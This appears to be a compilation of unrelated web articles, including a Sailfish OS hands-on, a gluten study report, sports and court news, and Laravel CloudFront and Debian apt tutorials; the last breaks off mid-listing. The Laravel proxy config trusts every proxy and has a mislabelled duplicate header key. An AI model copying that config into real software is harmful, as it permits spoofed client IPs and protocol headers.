maintenance. Review the maintenance instructions in your system manual so you are aware of these requirements.  Make sure to check with your city, county or homeowner association to see if there are any restrictions and whether you need to get permits before you can install the system. Your installer should be able to help you out.  Bedell says that the engineering of the installation is important to the functionality of your system.  "Orienting a very high quality hardware installation in the wrong direction, or in a partially-shaded area will likely result in far worse electricity production than orienting a very low quality hardware installation in the right direction and free of shade," he says.
-The lock screen shows the carrier on top, the time at the bottom and a column of notification icons along the right side. Pulling the screen down reveals a menu -- the further you pull, the more menu items you see. This is accompanied by audible and tactile (haptic) feedback, which lets you "feel" which item you're selecting. Once you've highlighted the right menu item, just release your finger to select it. While difficult to describe, this gesture is extremely intuitive. It forms the basis for all menu interactions in Sailfish OS and allows easy one-handed operation regardless of screen size. The lock screen menu provides access to things like the phone app, camera app and profiles. Pulling the lock screen up lets you peek at detailed notifications, including the signal and battery status -- sliding all the way up unlocks the phone.  Once on the home screen, you'll find a customizable row of four icons at the bottom -- these are your commonly used apps. The empty space above is reserved for a grid of cards that represent each running app. As such, Jolla's using the home screen as a task manager. Sliding the home screen up reveals the launch screen, a traditional grid of app icons. Pulling the launch screen up reveals a menu with a single item that lets you return to the home screen. Launching an app is as simple as tapping an icon. Navigation is gesture-based -- pulling the screen down reveals the app's menu, swiping left to right replaces the back button. There's also a "depth indicator" in the top-left corner of each app that shows how far down the app's rabbit hole you are. Tapping this indicator takes you back up one level (this is useful when swiping back might interfere with other app controls).  Inside an app, "pushing" left from the right edge of the screen lets you peek at your notifications, while sliding all the way to the left brings you back to the home screen. Minimized apps appear as cards on the home screen but are still running in the background (Sailfish OS supports true multitasking). Cards can be customized by developers to display a UI with real-time info and controls. For example, while the card for the contacts app consists of static pictures of your friends, the card for the media player shows track details and includes play / pause and next track controls. Since tapping on a card results in maximizing its app, card controls are gesture based -- pulling right on play / pause and "pushing" left on next track triggers the appropriate action in the media player.  Another unique aspect of Sailfish OS is the ambience concept. Like with other platforms, you can personalize the lock and home screens by selecting an image from the gallery. Jolla takes things a step further by customizing the color of UI elements (including fonts and menus) to match the content of the picture you selected -- not unlike Apple's album display mode in iTunes 11. A blurred and dimmed version of the image even becomes a background overlay for the launcher and the apps. It's completely seamless and it looks great. Overall, we came away reasonably impressed with Sailfish OS, despite experiencing only a fraction of its functionality. Performance was decent considering the N950's relatively modest single-core underpinnings -- then again, MeeGo's no slouch either. Obviously, we'll reserve judgment until we have the opportunity to play with the final product sometime in Q1 2013.
-Gluten-free products are proliferating like mad, and now merit whole aisles in upscale grocery stores. More and more of my friends and acquaintances are dropping gluten out of their diets and saying how much better they feel. They sleep better, feel more energetic and lose weight. They make such a compelling case for gluten-free life that I end up wondering, when I’m bloated and my pants don’t fit, whether I should consider dropping gluten myself.  There are two well-established conditions that require people to avoid gluten. Celiac disease, an immune response to gluten that produces severe inflammation of the small intestine, afflicts about 0.75 percent of the population. A wheat allergy, sometimes called baker’s asthma, affects about 0.4 percent of the population and is usually characterized by symptoms like breathing problems and a runny nose.  But gluten sensitivity in people who don’t have celiac disease or a wheat allergy is fuzzier. Some websites suggest that 18 million people are sensitive to gluten. Most patients complain of stomach problems and gas. Some add in fatigue, brain fog and depressed mood. There are no confirmed tests for the condition. Many people who say they are gluten sensitive never receive a test for celiac disease, wheat allergy or other sensitivities. They cut out gluten and they feel better. This is often the case for people with irritable bowel syndrome, or IBS, a condition characterized by stomach pain, bloating, gas and diarrhea or constipation.  In 2011, Jessica Biesiekierski and colleagues at Monash University in Victoria, Australia, confirmed what is now known as non-celiac gluten intolerance in patients with IBS. In a study of 34 patients published in The American Journal of Gastroenterology, the authors showed that gluten, added to a previously gluten-free diet, caused gastrointestinal distress and fatigue in 68 percent of patients with irritable bowel syndrome.  But now, in results published May 6 in Gastroenterology, the same group of researchers shows that gluten had no effect in IBS patients who claimed they had non-celiac gluten sensitivity. The results seem to contradict the group’s earlier work. But the science may simply be a bit more complex than previously thought: People with irritable bowel syndrome may indeed feel better on a gluten-free diet — but gluten might not have been the culprit.  The researchers tested three different diets, controlled by handing out frozen meals to the 37 patients, all of whom had irritable bowel syndrome. The study was designed as a cross-over, so all patients got a week on each test diet (high gluten, low gluten or no gluten) with two weeks in between. The end of the study was a three-day repeat, where each patient got three days of gluten and another three days without. While there were some upset stomachs, no symptoms could be directly attributed to the gluten in the patients’ diets. Instead, the results suggested a nocebo effect: If you think your stomach will be upset, you probably will have tummy trouble, no matter what diet you’re on.  Some might say that this study’s results mean that gluten sensitivity in general is “bogus.” But the study authors propose that something else entirely is to blame for gastrointestinal distress in IBS patients. Instead of gluten, look to fermentable short chain carbohydrates, called FODMAPs. These molecules are in wheat, barley and rye, as well as other foods including apples, cabbage and beans.  FODMAPs are always going to cause some trouble. They aren’t absorbed well in the small intestine, and when they hit the large intestine, they get fermented by bacteria. That fermentation process is what gives us bean farts and cabbage gas. But while the burrito bloat will happen to everyone, study coauthor Peter Gibson, a gastroenterologist at Monash University, hypothesizes that people with IBS are more sensitive to the gastrointestinal stretching produced by FODMAPs, resulting in more pain and symptoms. Since cutting out gluten also tends to cut out some FODMAPs, he says, people with IBS may well assume that gluten was the culprit.  In the new study, the test diet was also carefully designed to be low in FODMAPs. Gibson’s laboratory also reported in the Sept. 26 Gastroenterology that 30 IBS patients cut their gastrointestinal symptoms in half when they spent 21 days on a diet low in FODMAPs.  Gibson has written a book promoting a low FODMAP diet, but more research is needed before the next diet craze takes hold. Other studies have shown positive effects of gluten-free diets in IBS patients. Some patients who self-identify as gluten-sensitive could well have other diagnoses that have not been ruled out, including FODMAP sensitivity, sensitivity to fructose or sensitivity to other proteins in wheat.  Maureen Leonard, a pediatric gastroenterologist at Massachusetts General Hospital in Boston, is particularly concerned that a gluten-free diet may not, in fact, be any lower in FODMAPs. “Many foods that are naturally gluten free such as fruits, vegetables and beans are quite high in FODMAPS,” she says. “In patients we see with true gluten sensitivity, gluten or wheat is the culprit causing the gastrointestinal distress.” She also has worries about the patient selection for the new study and the group’s earlier work. The patients were all self-selected as being sensitive to gluten. “Non-celiac gluten sensitivity can be defined as follows: individuals without celiac disease whose symptoms improve on a gluten-free diet after ruling out other conditions,” Leonard says. Because the patients’ symptoms were not necessarily controlled on a gluten-free diet at the start of the study, “the subjects in these studies do not meet these criteria.”  But Reiner Ullrich, an immunologist at Charite University Medicine in Berlin, Germany, says that Gibson lab studies are useful “as pilot studies in need of confirmation. We should consider FODMAP content when examining the gluten-free diet.” But he is also concerned that the studies tested the diets for only a few weeks (at most) at a time. Ullrich would like to see the diets tested for at least eight weeks. “I fear there is no shortcut to establish dietary or drug effect in IBS,” he notes.  And targeting FODMAPs doesn’t mean that gluten sensitivity is off the table. “The story is ongoing,” Gibson says, “we produced a piece of evidence to say that gluten is being overly blamed, but we have patients who we still believe have non-celiac gluten sensitivity.” It’s also important to remember that the study was in people with IBS. Many of the people who give up gluten have never been diagnosed with IBS, and whether they are gluten sensitive or not remains up in the air.  And of course, wheat is made of much more than gluten. Peter Green, a gastroenterologist at Columbia University Medical Center in New York, N.Y., says that while FODMAPs and gluten may indeed play a role, there could be other proteins in wheat that cause discomfort in some patients. “People with IBS are a very heterogeneous population,” he explains. “It’s a complex issue, and this study adds to the confusion.” But Green also notes the most important thing is that patient symptoms are not being ignored. “People are doing research on it,” he says. “We are trying to work it out.”
-After talking about how unlikely it is that the Astros would sign Jose Abreu on the latest podcast we get this tweet from Buster Olney:  Bidding on Cuba defector Jose Abreu is expected to be for a $70 million deal, sources say. White Sox,Astros, Rangers viewed as frontrunners. — Buster Olney (@Buster_ESPN) October 16, 2013  Interesting.  Now I will say that we did leave open the small possibility that the Astros would go after Jose Abreu, but we leaned towards the Astros being more efficient with their money this offseason. $70 million is a lot of money and probably takes up a good chunk of Jeff Luhnow's spending money this offseason so I question how serious the Astros really are.  As noted in the MLB Trade Rumors article, Yoenis Cespedes signed for four years at $36MM and Yasiel Puig signed for seven years at $42MM. $70MM is a huge jump from that, but the six years and a $54MM in the article seems like a more reasonable number. While Abreu may have a better bat than Cespedes and Puig he lakes the positional versatility that those other two have so I really have a hard time seeing the Astros spend $70MM on a first basemen unless the scouting department and the analytical department says he can be a Prince Fielder, Miguel Cabrera or Joey Votto type of hitter. That's a really high bar and a big risk for anyone willing to spend that much money. Even if the deal is 10 years for $70MM I have a hard time seeing the Astros committing to that kind of deal. They do after all have Jon Singleton at AAA.  Either way I think this shows the Astros are serious about spending money this offseason, which is simply awesome.
-NEW DELHI: The  today set aside the  order asking the state government to pay for the reconstruction and repair work of religious structures damaged during the 2002 post-Godhra riots.  A bench comprising Chief Justice  and Justice P C Pant allowed the Gujarat government's appeal challenging the High Court verdict that it should pay for reconstruction and repair works of religious structures damaged during riots.  Additional Solicitor General Tushar Mehta, who had represented the state government, said that "our plea has been allowed" and moreover the state government had told the court that it was willing to pay from ex-gratia amount for repair and reconstruction works of various structures, shops and houses which were damaged.  "This scheme (of the government) has been accepted," Mehta said.  The court was hearing an appeal filed by the Gujarat government against an order of the high court directing it to pay compensation to over 500 shrines damaged during the  , triggered after the Godhra incident.
-A not-so-shocking new study out from Pew Research found that Americans – or, more specifically, Millennials – are big whopping hypocrites when it comes to how much they actually care about the environment.  Pew found that three out of four Americans say they’re concerned about the planet, citing a survey last year that found 74 percent agreed that “the country should do whatever it takes to protect the environment."  On top of that, a majority 55 percent recently told Pew they believe the environment should be one of the top issues addressed by President Trump and Congress.  But it turns out that while paying lip service to Mother Earth while pointing an accusatory finger at the government is a political talking point played on repeat, that concern stops at most people's front doors. Pew notes:  Among U.S. adults, 75% say they are particularly concerned about helping the environment as they go about their daily lives, according to a 2016 Pew Research Center survey. But only one-in-five Americans say they make an effort to live in ways that help protect the environment “all the time.”  And if that weren’t shocking enough, check out the age demographic Pew found to be the most environmentally friendly…  Those ages 65 and older are three times as likely as those ages 18 to 29 to say they make this effort all the time (36% vs. 12%). Millennials (currently 18 to 36 years old) are also somewhat less likely than older generations to view themselves as environmentalists, with 32% saying this, versus at least four-in-ten among older generations, the Center found in a 2014 survey.  On top of that, Pew noted that older people are actually more likely that Millennials to say they recycle often, and only 32 percent of all Americans say it bothers them when people throw away things that could have been recycled.  Evidence to back up this study isn't hard to find. Take, for example, the so-called "environmental" protesters who set up camp in North Dakota to protest the Dakota Access Pipeline. After weeks of ranting against the threat oil pipelines pose to local water sources, the massive hoarde vacated the campground, leaving more than 835 dumpsters worth of trash, abandoned cars, and about a dozen live puppies behind. It took $1.1 million and about a month just to clean up the mess before it could seep into the local river.  Similarly, the Women's March on Washington back in January featured thousands of protesters railing against Trump's "anti-environment" agenda. Their signs, along with their water bottles, and miscellanous debris, ended up scattered all over the streets of D.C.  Looks like when it comes to protecting the environment, more Americans would rather chuck money toward fixing “climate change” and force coal miners into joblessness than actually practice what they preach.
-Frankie Edgar has campaigned in the cage and outside of it for another featherweight world title shot for what must feel like forever to him. He was crushed to have gotten passed over again when UFC 189 needed a last-minute replacement to face Conor McGregor after champion Jose Aldo pulled out with a broken rib.  "The Answer" made sure to be on hand to watch UFC 189 on Saturday night in Las Vegas, and also to greet and challenge the new interim champion immediately afterward.  "I do [feel like I’m next in line for a shot]. Actually, I went up to the cage, I told Conor ‘Congrats,’ and why don’t me and him do it before Aldo?" Edgar revealed to Megan Olivi late Saturday night at the MGM Grand Garden Arena. "Because, who knows how long Aldo is going to take. Let me and him figure this out."  Article continues below ...  Edgar is right that it is unknown how long the champion Aldo will be out. However, there’s no telling when McGregor, who has been rumored to have an injured knee for weeks and begins filming a season of TUF as a coach alongside Urijah Faber this week, will be ready to fight again, either.  Unfortunately for Edgar, he may have to wait, or fight on, for some time before getting another chance at a UFC title. Should he get to face McGregor, Edgar is confident he’ll do what Chad Mendes could not.  "I think Chad, it was going his way, he was able to get takedowns," Edgar said in analyzing the UFC 189 main event.  "Credit to Conor, he was able to stay composed. He was able to get back on his feet. Chad seemed to slow down, get tired taking a fight on short notice like that, and Conor capitalized.  "He wasn’t flashy or anything [on the ground]. He was able to, I guess, keep Chad at bay, but he was eating some big shots. I was just impressed how when he did get back to his feet, he was composed."  Edgar believes he can offer more movement and conditioning than Mendes. "I move a little more than Chad," he said.  "I think my takedowns are there like his, and I feel like I got good ground and pound. I don’t really slow down too much, you know?"  Indeed he does not. Edgar doesn’t know if telling the UFC brass he’s ready and deserving of another title fight will make a difference, but he’s positive he’ll be ready if and when it comes.  "Aww man, I feel it’s like beating a dead horse," he said.  "They know what I want and I seem to not get what I want, but my time is going to come."
-Here's Squad, a standalone commercial game from the makers of Battlefield 2 mod Project Reality. In a stark departure from that project, this game is "an online, team-based military themed first-person-shooter where high levels of teamwork and communication are crucial to success". Wait, did I say 'stark departure'? What I meant was 'basically the same deal, only in Unreal Engine 4'.  In Squad, players will form squads of up to nine people—those squads coming together to form teams of up to 50. As the developers put it, "systems honed over years of experience with the Project Reality series draw the focus away from the lone-wolf player and much more on the cooperation with other members".  As with the Battlefield game, Squad will feature large-scale environments, but with a heavier focus on realistic simulation of things like ballistics and damage. There's also a base-building component that puts a heavier focus on coordinated teamwork and leadership. For more information, head over to Squad's Greenlight page.
-The title is specifically about CloudFront and Laravel, but for the most part, this will apply to most web applications behind a reverse-proxy of some sort, be it a CDN, load balancer, or some other proxy type.  What we'll cover here:  What changes when using a reverse-proxy on your application What your application needs to do to get around these issues How to use the TrustedProxy Laravel package to take care of the details for you in a Laravel Application  Applications behind a proxy  For the launch of https://course.shippingdocker.com, I put CloudFront in front of a Laravel application running inside of a Docker container.  I wanted CloudFront for a few reasons:  Primarily, I wanted to make use of AWS's free, auto-renewed SSL certificate. This frees me from paying for an SSL certificate and/or managing something like LetsEncrypt. Secondly, I was planning on using a t2.nano instance on AWS and wanted to save it some CPU cycles from serving static assets. These instances are tiny, and start eating away at its small number of given CPU credits when it hits just 2% of CPU usage. (Having the site be as speedy as possible for those overseas was also part of this decision).  So, imagine this setup - HTTPS connections are made to course.shippingdocker.com . CloudFront receives this HTTPS request, and then forwards it to my site runnning on an EC2 instance (the "origin server"). The EC2 instance is listening on port 80 for HTTP connections.  Since CloudFront won't forward to an IP address, we need to give it a hostname to use. We can use the EC2 instance's public DNS name - I used http://ec2-34-197-131-119.compute-1.amazonaws.com in the case of my server (try it out, that URL will work).  What your application sees  So, CloudFront is receiving an HTTPS request and decrypting it (terminating the SSL connection). It then sends the decrypted HTTP request to my server (the origin server) using the network address ec2-34-197-131-119.compute-1.amazonaws.com .  Laravel only sees that 2nd request, and thus assumes:  It's receiving requests over http:// instead of https:// , and thus will generate URI's with the the http:// scheme, including form submit URLs and redirect locations The domain name used and thus seen by the application is ec2-34-197-131-119.compute-1.amazonaws.com . Laravel will generate URL's with that domain by default.  Proxy Configuration  Most reverse-proxies (e.g. load balancers, CDNs) will add HTTP headers which can be used by your application to determine the correct information to use.  The important headers are:  Host header - even if the proxy reaches your site by an IP address or hostname such as ec2-34-197-131-119.compute-1.amazonaws.com , they can often still forward/set the original hostname in the Host header. In other words, we can tell CloudFront to forward the Host header, so our server sees domain course.shippingdocker.com instead of ec2-34-197-131-119.compute-1.amazonaws.com . X-Forwarded-For - set to the IP address of the original client (e.g. you, sitting in front of your computer), so the application knows the client's IP address. Otherwise it would only see the IP address of CloudFront. X-Forwarded-Proto - the scheme used by the original client ( https or http ) X-Forwarded-Port - the port used by the client to connect (80, 443 or anything else)  There are more, but those are the important ones.  With that information, we can move onto what we need to adjust to fix the situation.  CloudFront  Within CloudFront, we need to set a few things to get Laravel working properly.  There are two main places to make adjustments:  Cookie Whitelist Header Forwarding  Cookies  CloudFront and other CDNs typically strip out cookies, as cookies effect caching. They're effectively used as part of the cache key. If each persons cookie is unique (it will be!), then everyone effectively gets their own cached copy of what could be just one copy. That sucks, but it's a typical case for applications. CDNs most effectively cache static assets which don't have cookies.  Most cookies are used by Javascript libraries (GA and other marketing libraries) and thus don't need to be sent to your server in order for them to function.  However, Laravel needs at least 2 to function as you'd expect, but ideally 3. We need to set CloudFront to forward the following two:  laravel_session (or whatever you name the sessions, as that's configurable within Laravel) - this is what Laravel needs to identifier a user, even if sessions are stored on-server or in something like Redis XSRF-TOKEN - used to protect against cross site request forgery  This one is more optional but recommended:  remember_* - used for the "remember me" function on login. This is typically remember_web but can be other values. Whitelisting cookie names with a wildcard is supported in CloudFront.  Headers  CloudFront will set the X-Forwarded-For header, but will not forward the Host header nor send along the a X-Forwarded-Proto header (to say if the request is http or https ).  Furthermore, CloudFront, for some reason, won't set a X-Forwarded-Proto header, opting instead to use a custom header CloudFront-Forwarded-Proto .  So, we'll have CloudFront forward those two:  The Application (Laravel)  Finally, we need Laravel to use these headers so it can properly generate correct URI's and send redirect responses to the right place.  First and foremost, the easy part is setting the APP_URL environment variable. Set this to the URI you intend to use in the browser ( https://course.shippingdocker.com in my case).  Secondly, we need to tell Laravel to listen for the headers and adjust the application as needed.  The Symfony classes luckily do this for us by allowing us to set a "Trusted Proxy". If a proxy is trusted, Symfony will check for the X-Forwarded-* (and other) headers and adjust as needed.  To help with that, I created the TrustedProxy package.  There's basically just 3 steps with this package:  In the trustedproxy.php config file, set it to trust all proxies (since we don't know the IP address the CloudFront servers forwarding requests, we need to trust all proxies) Add the HTTP Middleware that the package uses to set the trusted proxy setting. All this does is tell the underlying Symfony HTTP Request object to recognize that a proxy is used Tell the trustedproxy.php config file what headers to expect. We can use the the default ones, except for the proto header, which we know is going to use the CloudFront-Forwarded-Proto header  That config file will look like this:  return [ 'proxies' => '*', # Trust all proxies 'headers' => [ \Illuminate\Http\Request::HEADER_FORWARDED => 'FORWARDED', \Illuminate\Http\Request::HEADER_CLIENT_IP => 'X_FORWARDED_FOR', \Illuminate\Http\Request::HEADER_CLIENT_HOST => 'X_FORWARDED_HOST', # \Illuminate\Http\Request::HEADER_CLIENT_PROTO => 'X_FORWARDED_PROTO', \Illuminate\Http\Request::HEADER_CLIENT_PROTO => 'X_FORWARDED_PORT', # 2. Adjust to CloudFront's header \Illuminate\Http\Request::HEADER_CLIENT_PROTO => 'CLOUDFRONT_FORWARDED_PROTO', ] ];  Note that we have the opportunity to set what $_SERVER['HTTP_*'] variables to use for each header-type. We'll change the PROTO header to expect the CloudFront header.  After all of this, the Laravel and underlying Symfony classes will correctly generate URI's and redirect locations!
-Like a modern Henri Becquerel, Washington State University doctoral student Marianne Tarun's discovery came quite by accident. Her simple lab error has uncovered a new way to boost electrical conductivity of a crystal by 40,000 percent, simply by exposing it to light.  Tarun had accidentally left a sample of strontium titanate out on a counter before testing the crystal's conductivity and discovering the phenomenon. Her team suspects that photons knock loose electrons which boost the material's conductivity. Her follow up tests confirmed the effect and found that as little as 10 minutes of light exposure could propagate the effect for days on end.  Advertisement  Known as persistent photoconductivity, it's nowhere near the level of electrical throughput of what super-conducting materials can achieve. However, it does hold a great deal of practical potential. For one, the effect works at room temperature unlike superconductors which only function at a fraction of a degree from absolute zero.  "The discovery of this effect at room temperature opens up new possibilities for practical devices," said Matthew McCluskey, co-author of the paper and chair of WSU's physics department, in a press statement. "In standard computer memory, information is stored on the surface of a computer chip or hard drive. A device using persistent photoconductivity, however, could store information throughout the entire volume of a crystal." This could eventually lead to massive increases in data capacity and, hopefully, a Krypton-style storage medium. [WSU]
-Overview  In this tutorial, learn to use the Debian package management tools to manage the packages on your Linux system. Learn to:  Install, reinstall, upgrade, and remove Debian binary packages  Find packages containing specific files or libraries, even if the package is not installed  Obtain package information like version, content, dependencies, package integrity, and installation status, even if the package is not installed  This tutorial helps you prepare for Objective 102.4 in Topic 102 of the Linux Professional Institute’s Linux Server Professional (LPIC-1) exam 101. The objective has a weight of 3.  Introducing package management  In the past, many Linux programs were distributed as source code, which a user would build into the required program or set of programs, along with the required man pages, configuration files, and so on. Nowadays, most Linux distributors use prebuilt programs or sets of programs called packages, which ship ready for installation on that distribution. In this tutorial, you learn about package management tools that help you install, update, and remove packages. This tutorial focuses on Advanced Package Tool (Apt), the package management system used by Debian and distributions derived from Debian, such as Ubuntu. Another tutorial in this series, “Learn Linux 101: RPM and YUM package management,” covers the Red Hat package management tools.  About this series This series of tutorials helps you learn Linux system administration tasks. You can also use the material in these tutorials to prepare for the Linux Professional Institute’s LPIC-1: Linux Server Professional Certification exams. See ” Learn Linux, 101: A roadmap for LPIC-1” for a description of and link to each tutorial in this series. The roadmap is in progress and reflects the version 4.0 objectives of the LPIC-1 exams as updated April 15th, 2015. As tutorials are completed, they will be added to the roadmap.  From a user perspective, the basic package management function is provided by commands. As Linux developers have striven to make Linux easier to use, the basic tools have been supplemented by other tools, including GUI tools, which hide some of the complexities of the basic tools from the user. In this tutorial and in “RPM and YUM package management,” I focus on the basic tools, although I mention some of the other tools so you can pursue them further.  Prerequisites  To get the most from the tutorials in this series, you need a basic knowledge of Linux and a working Linux system on which you can practice the commands that are covered in this tutorial. Sometimes different versions of a program format output differently, so your results might not always look exactly like the listings and figures shown here. In particular, much of the output I show is highly dependent on the packages that are already installed on my system. Your own output might be different, although you should be able to recognize the important commonalities. The examples in this tutorial come from a 32-bit Ubuntu 14.04 LTS system.  Installing Debian packages  When you install a Linux system, you typically install a large selection of packages. You can customize the set to the intended use of the system, such as a server, desktop, or developer workstation. And at some time, you will probably need to install new packages for added functionality, update the packages that you have, or even remove packages that you no longer need or that have been made obsolete by newer packages. Let’s look at how you do these tasks, and at some of the related challenges such as finding which package might contain a particular command.  Suppose you want to compile a Fortran program and a colleague tells you to use gfortran command. You might try gfortran –help gfortran --help , or you might try which gfortran whichgfortran or type gfortran typegfortran . But if your system can’t find gfortran , you might see output similar to that shown in Listing 1.  Listing 1. Missing gfortran command ian@attic‑u14:~$ gfortran ‑‑help bash: gfortran: command not found ian@attic‑u14:~$ gfortran ‑‑help The program 'gfortran' is currently not installed. You can install it by typing: sudo apt‑get install gfortran ian@attic‑u14:~$ which gfortran ian@attic‑u14:~$ type gfortran bash: type: gfortran: not found Show more Show more icon  If you did not get the helpful suggestion from the second form of output in Listing 1, you can check back with your colleague to find out which package to install. Otherwise, you can just guess that the gfortran command is in the gfortran package. This is often a good guess, but not always the right one. You’ll see later how to find the right package. In this case, you use the gfortran package, and you install it using the apt-get command with the install option as shown in Listing 2. Note that apt-get determines which extra packages you need to satisfy dependencies and then gives you a list of all the packages that will be installed. At that point, you are prompted to continue. In our example, we respond y to install gfortran and the additional required package, gfortran-4.8, libgfortran-4.8-dev, and libgfortran3.  Listing 2. Installing gfortran using apt-get ian@attic‑u14:~$ sudo apt‑get install gfortran Reading package lists... Done Building dependency tree Reading state information... Done The following extra packages will be installed: gfortran‑4.8 libgfortran‑4.8‑dev libgfortran3 Suggested packages: gfortran‑multilib gfortran‑doc gfortran‑4.8‑multilib gfortran‑4.8‑doc libgfortran3‑dbg The following NEW packages will be installed: gfortran gfortran‑4.8 libgfortran‑4.8‑dev libgfortran3 0 upgraded, 4 newly installed, 0 to remove and 23 not upgraded. Need to get 0 B/5,039 kB of archives. After this operation, 17.6 MB of additional disk space will be used. Do you want to continue? [Y/n] y Selecting previously unselected package libgfortran3:i386. (Reading database ... 202395 files and directories currently installed.) Preparing to unpack .../libgfortran3_4.8.4‑2ubuntu1~14.04_i386.deb ... Unpacking libgfortran3:i386 (4.8.4‑2ubuntu1~14.04) ... Selecting previously unselected package libgfortran‑4.8‑dev:i386. Preparing to unpack .../libgfortran‑4.8‑dev_4.8.4‑2ubuntu1~14.04_i386.deb ... Unpacking libgfortran‑4.8‑dev:i386 (4.8.4‑2ubuntu1~14.04) ... Selecting previously unselected package gfortran‑4.8. Preparing to unpack .../gfortran‑4.8_4.8.4‑2ubuntu1~14.04_i386.deb ... Unpacking gfortran‑4.8 (4.8.4‑2ubuntu1~14.04) ... Selecting previously unselected package gfortran. Preparing to unpack .../gfortran_4%3a4.8.2‑1ubuntu6_i386.deb ... Unpacking gfortran (4:4.8.2‑1ubuntu6) ... Processing triggers for man‑db (2.6.7.1‑1ubuntu1) ... Setting up libgfortran3:i386 (4.8.4‑2ubuntu1~14.04) ... Setting up libgfortran‑4.8‑dev:i386 (4.8.4‑2ubuntu1~14.04) ... Setting up gfortran‑4.8 (4.8.4‑2ubuntu1~14.04) ... Setting up gfortran (4:4.8.2‑1ubuntu6) ... update‑alternatives: using /usr/bin/gfortran to provide /usr/bin/f95 (f95) in auto mode Processing triggers for libc‑bin (2.19‑0ubuntu6.6) ... Show more Show more icon  From the output in Listing 2, you see that apt-get has read a package list from somewhere (more on that shortly), built a dependency tree, and determined that gfortran-4.8, libgfortran-4.8-dev, and libgfortran3 are required prerequisites that are not currently installed. You will also notice the suggestion to install several separate packages gfortran-multilib, gfortran-doc, gfortran-4.8-multilib, gfortran-4.8-doc, and libgfortran3-dbg. After some additional summary information, including space usage, you are prompted to continue, and gfortran is installed along with the prerequisite packages. Debian packages usually have an extension of .deb, and you see that the packages are downloaded and unpacked as shown in the lines:  Preparing to unpack .../gfortran‑4.8_4.8.4‑2ubuntu1~14.04_i386.deb ... Unpacking gfortran‑4.8 (4.8.4‑2ubuntu1~14.04) ... Show more Show more icon  Suppose that, instead of installing a package, you want to find out whether the package depends on other packages. You can use the -s (for simulate) option on apt-get . There are several other options with equivalent function, such as --just-print and `–dry-run`. Check the man pages for full details. Listing 3 shows what happens for a simulation of installing the gfortran-doc package.  Listing 3. Simulated or dry-run install of gfortran-doc ian@attic‑u14:~$ sudo apt‑get install ‑s gfortran‑doc Reading package lists... Done Building dependency tree Reading state information... Done The following extra packages will be installed: gfortran‑4.8‑doc The following NEW packages will be installed: gfortran‑4.8‑doc gfortran‑doc 0 upgraded, 2 newly installed, 0 to remove and 23 not upgraded. Inst gfortran‑4.8‑doc (4.8.4‑2ubuntu1~14.04 Ubuntu:14.04/trusty‑updates [all]) Inst gfortran‑doc (4:4.8.2‑1ubuntu6 Ubuntu:14.04/trusty [i386]) Conf gfortran‑4.8‑doc (4.8.4‑2ubuntu1~14.04 Ubuntu:14.04/trusty‑updates [all]) Conf gfortran‑doc (4:4.8.2‑1ubuntu6 Ubuntu:14.04/trusty [i386]) Show more Show more icon  As you see, the gfortran-doc documentation package requires the gfortran-4.8-doc packages. The reverse is not the case. Try it for yourself.  Package locations  In the previous section, you learned how to install a Debian package. But where do the packages come from? How does apt-get know where to download packages from? I mentioned that apt-get reads a package list from somewhere. The starting point for that somewhere is /etc/apt/sources.list. The list tells apt-get where to look for packages, including from a CD-ROM, from your local file system, or over a network using HTTP or FTP. You can add more sources in the /etc/apt/sources.list.d directory.  Listing 4 shows the first few lines of /etc/apt/sources.list on my system. Note that the distribution CD on the first line is commented out (# in position 1). If you need to install several new packages that have not been heavily updated, it is worthwhile to uncomment this and install from your distribution CD or DVD. If you have a broadband network connection or need several updates, it is more efficient to download the additional packages at the latest level from the network sources that follow in /etc/apt/sources.list.  Listing 4. /etc/apt/sources.list ian@attic-u14:~$ cat /etc/apt/sources.list #deb cdrom:[Ubuntu 14.04.2 LTS Trusty Tahr - Release i386 (20150218.1)]/ trusty main restricted # See http://help.ubuntu.com/community/UpgradeNotes for how to upgrade to # newer versions of the distribution. deb http://us.archive.ubuntu.com/ubuntu/ trusty main restricted deb-src http://us.archive.ubuntu.com/ubuntu/ trusty main restricted ## Major bug fix updates produced after the final release of the ## distribution. deb http://us.archive.ubuntu.com/ubuntu/ trusty universe deb-src http://us.archive.ubuntu.com/ubuntu/ trusty-updates main restricted deb http://us.archive.ubuntu.com/ubuntu/ trusty-updates-updates main restricted ## N.B. software from this repository is ENTIRELY UNSUPPORTED by the Ubuntu ## team. Also, please note that software in universe WILL NOT receive any ##review or updates from the Ubuntu security team. deb http://us.archive.ubuntu.com/ubuntu/ trusty universe deb-src http://us.archive.ubuntu.com/ubuntu/ trusty universe deb http://us.archive.ubuntu.com/ubuntu/ trusty-updates universe deb-src http://us.archive.ubuntu.com/ubuntu/ trusty-updates universe## N.B. software from this repository is ENTIRELY UNSUPPORTED by the Ubuntu ## team, and may not be under a free licence. Please satisfy yourself as to ## your rights to use the software. Also, please note that software in ## multiverse WILL NOT receive any review or updates from the Ubuntu ## security team. deb http://us.archive.ubuntu.com/ubuntu/ trusty multiverse deb-src http://us.archive.ubuntu.com/ubuntu/ trusty multiverse deb http://us.archive.ubuntu.com/ubuntu/ trusty-updates multiverse deb-src http://us.archive.ubuntu.com/ubuntu/ trusty-updates multiverse Show more Show more icon  Apt-get and similar tools use a local database to determine what packages are installed. They can check installed levels against available levels. To do this, information on available levels is retrieved from the sources that are listed in /etc/apt/sources.list and stored on your local system. You use the command apt-get update apt-getupdate to synchronize the information in your local database with the sources specified in /etc/apt/sources.list. You should do this before installing or updating any package, and always after modifying /etc/apt/sources.list or adding files to /etc/apt/sources.list.d.  Removing Debian packages  If you want to remove a package, you can use the remove option of apt-get . A simulated run is shown in Listing 5.  Listing 5. Simulated removal of gfortran ian@attic‑u14:~$ sudo apt‑get remove ‑s gfortran Reading package lists... Done Building dependency tree Reading state information... Done The following packages were automatically installed and are no longer required: gfortran‑4.8 libgfortran‑4.8‑dev libgfortran3 Use 'apt‑get autoremove' to remove them. The following packages will be REMOVED: gfortran 0 upgraded, 0 newly installed, 1 to remove and 23 not upgraded. Remv gfortran 4:4.8.2‑1ubuntu6 Show more Show more icon  Notice that the gfortran-4.8, libgfortran-4.8-dev, and libgfortran3 packages that we installed as a prerequisites for gfortran are not actually removed automatically, although the output tells you they are no longer needed. The autoremove function of apt-get (or the equivalent remove function and the --auto-remove option) removes the requested packages, along with any packages that were installed as dependencies but are no longer required by any installed packages. This can include dependencies installed by packages other than the one or ones you are trying to remove. Listing 6 shows a simulated removal of gfortran and its dependencies. I show how to remove just gfortran, and then use apt-get autoremove apt-getautoremove to clean up the newly orphaned dependencies.  Listing 6. Removing gfortran and dependencies ian@attic‑u14:~$ #Simulate removal of gfortran and dependencies 